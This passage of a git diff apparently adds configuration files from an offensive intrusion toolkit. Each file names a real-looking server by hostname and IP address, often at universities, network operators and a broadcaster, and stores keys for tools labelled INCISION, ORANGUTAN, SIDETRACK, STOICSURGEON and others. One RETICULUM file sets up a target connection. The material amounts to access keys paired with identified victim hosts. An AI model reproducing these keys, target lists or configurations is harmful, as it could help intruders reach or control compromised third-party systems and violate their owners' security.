b/Linux/bin/varkeys/pitchimpair/myhome.elim.net___203.239.130.7/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___myhome.elim.net___203.239.130.7___20020313-133407() { + ## INCISION Version:4.6 OS:sparc-sun-solaris2.5.1 + export TARG_AYT="8ff62019 f4c6611f eb80eee7" +} diff --git a/Linux/bin/varkeys/pitchimpair/myhome.elim.net___203.239.130.7/orangutan b/Linux/bin/varkeys/pitchimpair/myhome.elim.net___203.239.130.7/orangutan new file mode 100644 index 0000000..29c6c18 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/myhome.elim.net___203.239.130.7/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___myhome.elim.net___203.239.130.7___20020313-133407() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.5.1 + export CONFIG_KEYS="1b6f6da3 1d7885f5 74ae5474" +} diff --git a/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/dewdrop b/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/dewdrop new file mode 100644 index 0000000..318db16 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___newin.int.rtbf.be___212.35.107.2___20051013-182154() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/incision b/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/incision new file mode 100644 index 0000000..205eb7d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___newin.int.rtbf.be___212.35.107.2___20051013-182154() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="6aae23fe 44ebf8a8 1f6f4927" +} diff --git a/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/jackladder b/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/jackladder new file mode 100644 index 0000000..75f7543 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___newin.int.rtbf.be___212.35.107.2___20051013-182154() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/orangutan b/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/orangutan new file mode 100644 index 0000000..5a79d17 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___newin.int.rtbf.be___212.35.107.2___20051013-182154() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="811d28db 15012935 f048b87f" +} diff --git a/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/patchicillin b/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/patchicillin new file mode 100644 index 0000000..cc056d3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___newin.int.rtbf.be___212.35.107.2___20051013-182154() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="cc164f07 b5aba975 d2976cca" +} diff --git a/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/sidetrack b/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/sidetrack new file mode 100644 index 0000000..0d66e90 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/newin.int.rtbf.be___212.35.107.2/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___newin.int.rtbf.be___212.35.107.2___20051013-182154() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="5657d2e0 b6a166d2 04df8372 4429fa4b" +} diff --git a/Linux/bin/varkeys/pitchimpair/niveau.math.uni-bremen.de___134.102.124.201/incision b/Linux/bin/varkeys/pitchimpair/niveau.math.uni-bremen.de___134.102.124.201/incision new file mode 100644 index 0000000..59d92f0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/niveau.math.uni-bremen.de___134.102.124.201/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___niveau.math.uni-bremen.de ___134.102.124.201___20040503-185134() { + ## INCISION Version:4.9 OS:i386-pc-solaris2.8 + export TARG_AYT="0cf16c0c d81d5581 2e59b6d7" +} diff --git a/Linux/bin/varkeys/pitchimpair/niveau.math.uni-bremen.de___134.102.124.201/orangutan b/Linux/bin/varkeys/pitchimpair/niveau.math.uni-bremen.de___134.102.124.201/orangutan new file mode 100644 index 0000000..b45dd3c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/niveau.math.uni-bremen.de___134.102.124.201/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___niveau.math.uni-bremen.de ___134.102.124.201___20040503-185134() { + ## ORANGUTAN Version:1.4 OS:i386-pc-solaris2.8 + export CONFIG_KEYS="a5591608 db0ad81a 0d7186e3" +} diff --git a/Linux/bin/varkeys/pitchimpair/nl37.yourname.nl___82.192.68.37/incision b/Linux/bin/varkeys/pitchimpair/nl37.yourname.nl___82.192.68.37/incision new file mode 100644 index 0000000..c902041 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/nl37.yourname.nl___82.192.68.37/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___nl37.yourname.nl___82.192.68.37___20071217-120020() { + ## INCISION Version:4.11.6.10 OS:i686-pc-linux-gnu-2.2.16C37_III + export TARG_AYT="c59c2d88 76744dbb 2fb28b35" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc21.corp.home.ad.jp___203.165.5.78/dewdrop b/Linux/bin/varkeys/pitchimpair/noc21.corp.home.ad.jp___203.165.5.78/dewdrop new file mode 100644 index 0000000..54d6fd3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc21.corp.home.ad.jp___203.165.5.78/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc21.corp.home.ad.jp___203.165.5.78___20070104-111353() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc21.corp.home.ad.jp___203.165.5.78/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/noc21.corp.home.ad.jp___203.165.5.78/stoicsurgeon new file mode 100644 index 0000000..fab0fbd --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc21.corp.home.ad.jp___203.165.5.78/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc21.corp.home.ad.jp___203.165.5.78___20070104-111353() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc23.corp.home.ad.jp___203.165.5.80/dewdrop b/Linux/bin/varkeys/pitchimpair/noc23.corp.home.ad.jp___203.165.5.80/dewdrop new file mode 100644 index 0000000..ea899a6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc23.corp.home.ad.jp___203.165.5.80/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc23.corp.home.ad.jp___203.165.5.80___20060831-111743() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc23.corp.home.ad.jp___203.165.5.80/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/noc23.corp.home.ad.jp___203.165.5.80/stoicsurgeon new file mode 100644 index 0000000..694d8c3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc23.corp.home.ad.jp___203.165.5.80/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc23.corp.home.ad.jp___203.165.5.80___20060831-111743() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc25.corp.home.ad.jp___203.165.5.82/incision b/Linux/bin/varkeys/pitchimpair/noc25.corp.home.ad.jp___203.165.5.82/incision new file mode 100644 index 0000000..866bf43 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc25.corp.home.ad.jp___203.165.5.82/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc25.corp.home.ad.jp___203.165.5.82___20050628-132937() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="01f00c47 66e80bec a4a9376c" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc25.corp.home.ad.jp___203.165.5.82/orangutan b/Linux/bin/varkeys/pitchimpair/noc25.corp.home.ad.jp___203.165.5.82/orangutan new file mode 100644 index 0000000..fcf0345 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc25.corp.home.ad.jp___203.165.5.82/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc25.corp.home.ad.jp___203.165.5.82___20050628-132937() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="ba4ad8bc f48906f3 cd76c4ab" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc25.corp.home.ad.jp___203.165.5.82/patchicillin b/Linux/bin/varkeys/pitchimpair/noc25.corp.home.ad.jp___203.165.5.82/patchicillin new file mode 100644 index 0000000..5e5e5a2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc25.corp.home.ad.jp___203.165.5.82/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc25.corp.home.ad.jp___203.165.5.82___20050628-132937() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="ddc9c6c3 593d053a 18a44ffb" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc25.corp.home.ad.jp___203.165.5.82/sidetrack b/Linux/bin/varkeys/pitchimpair/noc25.corp.home.ad.jp___203.165.5.82/sidetrack new file mode 100644 index 0000000..6d90b18 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc25.corp.home.ad.jp___203.165.5.82/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc25.corp.home.ad.jp___203.165.5.82___20050628-132937() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="68829873 b3f5c298 14342823 12e2ecb9" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc26.corp.home.ad.jp___203.165.5.83/dewdrop b/Linux/bin/varkeys/pitchimpair/noc26.corp.home.ad.jp___203.165.5.83/dewdrop new file mode 100644 index 0000000..47c1329 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc26.corp.home.ad.jp___203.165.5.83/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc26.corp.home.ad.jp___203.165.5.83___20060606-112828() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc26.corp.home.ad.jp___203.165.5.83/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/noc26.corp.home.ad.jp___203.165.5.83/stoicsurgeon new file mode 100644 index 0000000..c270419 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc26.corp.home.ad.jp___203.165.5.83/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc26.corp.home.ad.jp___203.165.5.83___20060606-112828() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc33.corp.home.ad.jp___203.165.5.74/incision b/Linux/bin/varkeys/pitchimpair/noc33.corp.home.ad.jp___203.165.5.74/incision new file mode 100644 index 0000000..6018aba --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc33.corp.home.ad.jp___203.165.5.74/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc33.corp.home.ad.jp___203.165.5.74___20050706-090330() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="4e253f0e ae3a87c3 7ce6def7" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc33.corp.home.ad.jp___203.165.5.74/orangutan b/Linux/bin/varkeys/pitchimpair/noc33.corp.home.ad.jp___203.165.5.74/orangutan new file mode 100644 index 0000000..f71d98e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc33.corp.home.ad.jp___203.165.5.74/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc33.corp.home.ad.jp___203.165.5.74___20050706-090330() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="33b95ce9 7dd99adf dcb47da9" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc33.corp.home.ad.jp___203.165.5.74/patchicillin b/Linux/bin/varkeys/pitchimpair/noc33.corp.home.ad.jp___203.165.5.74/patchicillin new file mode 100644 index 0000000..44fa991 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc33.corp.home.ad.jp___203.165.5.74/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc33.corp.home.ad.jp___203.165.5.74___20050706-090330() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="fc0da0df 8a896bad c2297cdb" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc33.corp.home.ad.jp___203.165.5.74/sidetrack b/Linux/bin/varkeys/pitchimpair/noc33.corp.home.ad.jp___203.165.5.74/sidetrack new file mode 100644 index 0000000..768adf1 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc33.corp.home.ad.jp___203.165.5.74/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc33.corp.home.ad.jp___203.165.5.74___20050628-121048() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="947ce11e faaf3a4d 05f6a2e8 27dd6cec" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc35.corp.home.ad.jp___203.165.5.114/incision b/Linux/bin/varkeys/pitchimpair/noc35.corp.home.ad.jp___203.165.5.114/incision new file mode 100644 index 0000000..3323d2f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc35.corp.home.ad.jp___203.165.5.114/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc35.corp.home.ad.jp___203.165.5.114___20050706-102150() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="50c9dc62 36b930cf 9d078c3c" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc35.corp.home.ad.jp___203.165.5.114/orangutan b/Linux/bin/varkeys/pitchimpair/noc35.corp.home.ad.jp___203.165.5.114/orangutan new file mode 100644 index 0000000..dd178d0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc35.corp.home.ad.jp___203.165.5.114/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc35.corp.home.ad.jp___203.165.5.114___20050706-102150() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="a51e4734 ee696d6b dab5f134" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc35.corp.home.ad.jp___203.165.5.114/patchicillin b/Linux/bin/varkeys/pitchimpair/noc35.corp.home.ad.jp___203.165.5.114/patchicillin new file mode 100644 index 0000000..12969e9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc35.corp.home.ad.jp___203.165.5.114/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc35.corp.home.ad.jp___203.165.5.114___20050706-102150() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="e5eaa350 ab52a0da 2cbf2fde" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/dewdrop b/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/dewdrop new file mode 100644 index 0000000..14e0030 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc37.corp.home.ad.jp___203.165.5.117___20060330-141728() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/incision b/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/incision new file mode 100644 index 0000000..2cf90d6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc37.corp.home.ad.jp___203.165.5.117___20060330-141728() { + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="49484ede ff2adb0b ba936f3e" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/jackladder b/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/jackladder new file mode 100644 index 0000000..7a3f166 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc37.corp.home.ad.jp___203.165.5.117___20060330-141728() { + ## JACKLADDER Version:2.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/orangutan b/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/orangutan new file mode 100644 index 0000000..451d807 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc37.corp.home.ad.jp___203.165.5.117___20060330-141728() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="f5df7125 0affdf4c 16e23dea" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/patchicillin b/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/patchicillin new file mode 100644 index 0000000..ba81f4e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc37.corp.home.ad.jp___203.165.5.117/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc37.corp.home.ad.jp___203.165.5.117___20060330-141728() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="8009c7cb 43572755 618b7966" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/dewdrop b/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/dewdrop new file mode 100644 index 0000000..48ee85e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc38.corp.home.ad.jp___203.165.5.118___20070123-094326() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/incision b/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/incision new file mode 100644 index 0000000..5dbee22 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc38.corp.home.ad.jp___203.165.5.118___20070123-094326() { + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="88abf272 53a3c7dc 52095494" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/jackladder b/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/jackladder new file mode 100644 index 0000000..26350e0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc38.corp.home.ad.jp___203.165.5.118___20070123-094326() { + ## JACKLADDER Version:2.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/orangutan b/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/orangutan new file mode 100644 index 0000000..b955cb7 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc38.corp.home.ad.jp___203.165.5.118___20070123-094326() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="d3248bb5 ae52fe77 648e8b21" +} diff --git a/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/patchicillin b/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/patchicillin new file mode 100644 index 0000000..7c380a1 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noc38.corp.home.ad.jp___203.165.5.118/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___noc38.corp.home.ad.jp___203.165.5.118___20070123-094326() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="e7f0c82b 8fb8a045 55161f9b" +} diff --git a/Linux/bin/varkeys/pitchimpair/nodep.sun-ip.or.jp___150.27.1.2/incision b/Linux/bin/varkeys/pitchimpair/nodep.sun-ip.or.jp___150.27.1.2/incision new file mode 100644 index 0000000..d4aabf5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/nodep.sun-ip.or.jp___150.27.1.2/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___nodep.sun-ip.or.jp___150.27.1.2___20020417-152328() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="a1f0b9e0 5884cf8d f495dbfd" +} diff --git a/Linux/bin/varkeys/pitchimpair/nodep.sun-ip.or.jp___150.27.1.2/orangutan b/Linux/bin/varkeys/pitchimpair/nodep.sun-ip.or.jp___150.27.1.2/orangutan new file mode 100644 index 0000000..866db5c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/nodep.sun-ip.or.jp___150.27.1.2/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___nodeP.sun-ip.or.jp___150.27.1.2___20020417-152328() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="ee2bb22f 21dcea05 6aad53e3" +} diff --git a/Linux/bin/varkeys/pitchimpair/noya.bupt.edu.cn___202.112.96.2/incision b/Linux/bin/varkeys/pitchimpair/noya.bupt.edu.cn___202.112.96.2/incision new file mode 100644 index 0000000..1dc1903 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noya.bupt.edu.cn___202.112.96.2/incision @@ -0,0 +1,4 @@ +DIABLO___noya.bupt.edu.cn___202.112.96.2___20011022-132036 { + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="c3c721dd 77802f80 93b955d8" +} diff --git a/Linux/bin/varkeys/pitchimpair/noya.bupt.edu.cn___202.112.96.2/jackladder b/Linux/bin/varkeys/pitchimpair/noya.bupt.edu.cn___202.112.96.2/jackladder new file mode 100644 index 0000000..f0c6bd4 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noya.bupt.edu.cn___202.112.96.2/jackladder @@ -0,0 +1,3 @@ +DIABLO___noya.bupt.edu.cn___202.112.96.2___20010810-101659() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 +} diff --git a/Linux/bin/varkeys/pitchimpair/noya.bupt.edu.cn___202.112.96.2/orangutan b/Linux/bin/varkeys/pitchimpair/noya.bupt.edu.cn___202.112.96.2/orangutan new file mode 100644 index 0000000..7819337 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noya.bupt.edu.cn___202.112.96.2/orangutan @@ -0,0 +1,4 @@ +DIABLO___noya.bupt.edu.cn___202.112.96.2___20011022-132036 { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="e3b6693c 4c0d2554 02201fdc" +} diff --git a/Linux/bin/varkeys/pitchimpair/noya.bupt.edu.cn___202.112.96.2/reticulum b/Linux/bin/varkeys/pitchimpair/noya.bupt.edu.cn___202.112.96.2/reticulum new file mode 100644 index 0000000..6266c01 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/noya.bupt.edu.cn___202.112.96.2/reticulum @@ -0,0 +1,20 @@ +DIABLO___noya.bupt.edu.cn___202.112.96.2___20011022-132036 { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host noya.bupt.edu.cn + set ip 202.112.96.2 + set hostType "Solaris27" + set len 476 + set cv0 18444f44 + set cv1 f06545b9 + set cv2 4c3f9237 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/dewdrop b/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/dewdrop new file mode 100644 index 0000000..ea88066 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.anseo.dankook.ac.kr___203.237.216.2___20060912-133136() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/incision b/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/incision new file mode 100644 index 0000000..16a2a34 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.anseo.dankook.ac.kr___203.237.216.2___20051206-131305() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="24da6c35 09155fce 8f4ec920" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/jackladder b/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/jackladder new file mode 100644 index 0000000..6ea1362 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.anseo.dankook.ac.kr___203.237.216.2___20051206-131305() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/orangutan b/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/orangutan new file mode 100644 index 0000000..c6a9c80 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.anseo.dankook.ac.kr___203.237.216.2___20051206-131305() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="d93e2a30 08d9bc58 0241e679" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/patchicillin b/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/patchicillin new file mode 100644 index 0000000..06225f5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.anseo.dankook.ac.kr___203.237.216.2___20051206-131305() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="4490642d 771253eb 807b34d4" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/sidetrack b/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/sidetrack new file mode 100644 index 0000000..e63bb3e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.anseo.dankook.ac.kr___203.237.216.2___20051206-131305() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="eddfff52 2a35cb9f 3055a07b cbf7da04" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/stoicsurgeon 